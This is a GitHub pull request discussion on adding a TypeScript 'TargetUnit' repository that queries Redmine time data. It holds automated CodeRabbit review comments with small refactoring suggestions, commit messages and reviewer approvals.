workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)

1-5: LGTM! Clean interface design following repository pattern.

The interface provides a well-defined abstraction for project unit data access with proper async typing.

workers/main/src/services/TargetUnit/TargetUnitService.ts (1)

4-10: LGTM! Proper service layer implementation with dependency injection.

The service correctly delegates to the repository interface and follows clean architecture principles.

workers/main/src/services/TargetUnit/TargetUnitService.test.ts (2)

6-18: LGTM! Well-structured test helper function.

The createProjectUnit helper provides a clean way to create test data with sensible defaults and override capability.


37-46: LGTM! Comprehensive test coverage for service delegation.

The test properly verifies both the return value and that the repository method is called exactly once, ensuring correct delegation behavior.

workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (1)

62-72: LGTM! Comprehensive error handling test coverage.

The tests properly verify both non-array result handling and query error propagation with the custom error type.

workers/main/src/services/TargetUnit/TargetUnitRepository.ts (3)

1-6: LGTM! Imports are well-organized and appropriate.

The imports correctly reference the necessary types, interfaces, and dependencies for the repository implementation.


8-19: Well-implemented custom error class.

The TargetUnitRepositoryError class follows best practices by preserving the original error and properly setting up the error chain with stack trace capture.


21-26: Clean repository class structure and constructor.

The dependency injection pattern using IPoolProvider promotes testability and follows SOLID principles.

This change renames the `ProjectUnit` interface to `TargetUnit` and updates all related references in the repository and service layers. The modifications ensure consistency in terminology and improve clarity in the codebase. All relevant tests have been adjusted accordingly to reflect this change.
@anatolyshipitz anatolyshipitz changed the title Implement Redmine repository Implement TargetUnit repository Jun 4, 2025
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)

3-5: Well-designed repository interface following TypeScript conventions.

The interface design is clean and follows established patterns for repository abstractions. Consider adding JSDoc documentation to help future implementers understand the contract.

+/**
+ * Repository interface for managing target unit data operations.
+ */
 export interface ITargetUnitRepository {
+  /**
+   * Retrieves all project units from the data source.
+   * @returns Promise that resolves to an array of TargetUnit objects
+   */
   getProjectUnits(): Promise<TargetUnit[]>;
 }

Additionally, consider if the method might benefit from optional parameters for filtering or pagination in future iterations:

getProjectUnits(filters?: { projectId?: number; userId?: number }): Promise<TargetUnit[]>;
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 7875d77 and 81ca5b0.

📒 Files selected for processing (6)
  • workers/main/src/common/types.ts (1 hunks)
  • workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitService.test.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitService.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/common/types.ts
🚧 Files skipped from review as they are similar to previous changes (4)
  • workers/main/src/services/TargetUnit/TargetUnitService.ts
  • workers/main/src/services/TargetUnit/TargetUnitService.test.ts
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
workers/main/src/common/types.ts (1)
  • TargetUnit (1-12)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)

1-1: Clean import statement following TypeScript conventions.

The import is well-structured and imports only the necessary TargetUnit type from the common types module.

coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 4, 2025
@anatolyshipitz anatolyshipitz requested a review from killev June 4, 2025 17:08
…tUnitRepository and related tests

This change updates the method names in the `ITargetUnitRepository`, `TargetUnitRepository`, and `TargetUnitService` classes to reflect the new terminology. All corresponding test cases have been modified to ensure consistency and maintain functionality. This refactor enhances clarity in the codebase by aligning method names with the updated domain terminology.
coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 5, 2025
anatolyshipitz and others added 2 commits June 5, 2025 14:06
Removed IPoolProvider abstraction and updated queries and related tests for consistency and clarity.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (4)
workers/main/src/services/TargetUnit/queries.ts (1)

20-20: Consider using a more descriptive alias for the groups table.

Using alias g for the users table when filtering by type='Group' can be confusing. Consider using a more descriptive alias like groups to improve query readability.

-  FROM users AS g
+  FROM users AS groups

And update all references accordingly:

-    g.id AS group_id,
-    g.lastname AS group_name,
+    groups.id AS group_id,
+    groups.lastname AS group_name,
-  JOIN members AS m ON m.user_id = g.id
+  JOIN members AS m ON m.user_id = groups.id
-    g.type='Group'
+    groups.type='Group'
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (3)

16-39: Remove unnecessary explicit type coercion in mapping method.

The explicit type coercion using Number() and String() is unnecessary since TargetUnitRow interface already defines these fields with the correct types. The database driver should return properly typed values.

  private static mapRowToTargetUnit(
    this: void,
    {
      group_id,
      group_name,
      project_id,
      project_name,
      user_id,
      username,
      spent_on,
      total_hours,
    }: TargetUnitRow,
  ): TargetUnit {
    return {
-      group_id: Number(group_id),
-      group_name: String(group_name),
-      project_id: Number(project_id),
-      project_name: String(project_name),
-      user_id: Number(user_id),
-      username: String(username),
-      spent_on: String(spent_on),
-      total_hours: Number(total_hours),
+      group_id,
+      group_name,
+      project_id,
+      project_name,
+      user_id,
+      username,
+      spent_on,
+      total_hours,
    };
  }

51-51: Consider using a proper logging framework instead of console.error.

Direct console logging in production code is not ideal for proper log management, monitoring, and debugging.

Consider injecting a logger dependency or using a logging framework:

-      console.error('TargetUnitRepository.getTargetUnits error:', error);
+      this.logger?.error('TargetUnitRepository.getTargetUnits error:', error);

Or use a logging library like Winston, Pino, or the application's existing logging infrastructure.


29-38: Consider handling optional fields from TargetUnit interface.

The TargetUnit interface (from workers/main/src/common/types.ts) includes optional rate and projectRate fields that are not being mapped. While this is currently fine since they're optional, consider documenting whether these fields are intentionally omitted or if they should be populated from additional data sources.

If these fields should remain undefined for now, consider adding a comment:

    return {
      group_id,
      group_name,
      project_id,
      project_name,
      user_id,
      username,
      spent_on,
      total_hours,
+      // rate and projectRate are optional and not populated from this query
    };
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f448f6e and d7e2c90.

📒 Files selected for processing (8)
  • workers/main/src/common/errors/FileUtilsError.ts (1 hunks)
  • workers/main/src/common/errors/TargetUnitRepositoryError.test.ts (1 hunks)
  • workers/main/src/common/errors/TargetUnitRepositoryError.ts (1 hunks)
  • workers/main/src/common/errors/index.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts (1 hunks)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1 hunks)
  • workers/main/src/services/TargetUnit/queries.ts (1 hunks)
  • workers/main/src/services/TargetUnit/types.ts (1 hunks)
✅ Files skipped from review due to trivial changes (3)
  • workers/main/src/common/errors/TargetUnitRepositoryError.ts
  • workers/main/src/common/errors/TargetUnitRepositoryError.test.ts
  • workers/main/src/common/errors/index.ts
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/TargetUnit/TargetUnitRepository.test.ts
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/services/TargetUnit/TargetUnitRepository.ts (5)
workers/main/src/services/TargetUnit/ITargetUnitRepository.ts (1)
  • ITargetUnitRepository (3-5)
workers/main/src/services/TargetUnit/types.ts (1)
  • TargetUnitRow (3-12)
workers/main/src/common/types.ts (1)
  • TargetUnit (1-12)
workers/main/src/services/TargetUnit/queries.ts (1)
  • TARGET_UNITS_QUERY (1-31)
workers/main/src/common/errors/TargetUnitRepositoryError.ts (1)
  • TargetUnitRepositoryError (1-12)
⏰ Context from checks skipped due to timeout of 90000ms (6)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
  • GitHub Check: Service Availability Check
  • GitHub Check: SonarQube
  • GitHub Check: Analyze (actions)
  • GitHub Check: Analyze (javascript-typescript)
🔇 Additional comments (3)
workers/main/src/common/errors/FileUtilsError.ts (1)

8-10: LGTM! Excellent improvement to error handling.

The conditional Error.captureStackTrace call is a best practice for custom error classes in Node.js environments. This ensures proper stack trace capture while maintaining compatibility across different JavaScript environments where this method might not be available.

workers/main/src/services/TargetUnit/types.ts (1)

3-12: Well-structured interface definition.

The TargetUnitRow interface correctly extends RowDataPacket and properly types all database fields with appropriate TypeScript types that align with the SQL query structure.

workers/main/src/services/TargetUnit/TargetUnitRepository.ts (1)

41-57: Well-implemented async method with proper error handling.

The getTargetUnits method correctly implements the repository pattern with appropriate error handling, type checking, and custom error throwing. The array validation before mapping is a good defensive programming practice.

Revised the SQL query in `queries.ts` to improve readability by restructuring the WHERE clause and enhancing the GROUP BY and ORDER BY sections.
coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 5, 2025
Eliminated the console error logging in the `getTargetUnits` method of the `TargetUnitRepository` class to streamline error handling. This change enhances the clarity of error messages thrown by the repository without cluttering the console output.
coderabbitai[bot]
coderabbitai bot previously approved these changes Jun 5, 2025
Refactored the `mapRowToTargetUnit` method in the `TargetUnitRepository` class to use an arrow function for improved readability and conciseness. This change enhances the clarity of the code while maintaining the same functionality.
Deleted the `TargetUnitService` class and its associated test file to streamline the codebase. This change eliminates unnecessary complexity and focuses on more relevant components, enhancing overall maintainability.
@sonarqubecloud
Copy link

sonarqubecloud bot commented Jun 5, 2025

@anatolyshipitz
Copy link
Collaborator Author

RedmineService has been extracted to the #45

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants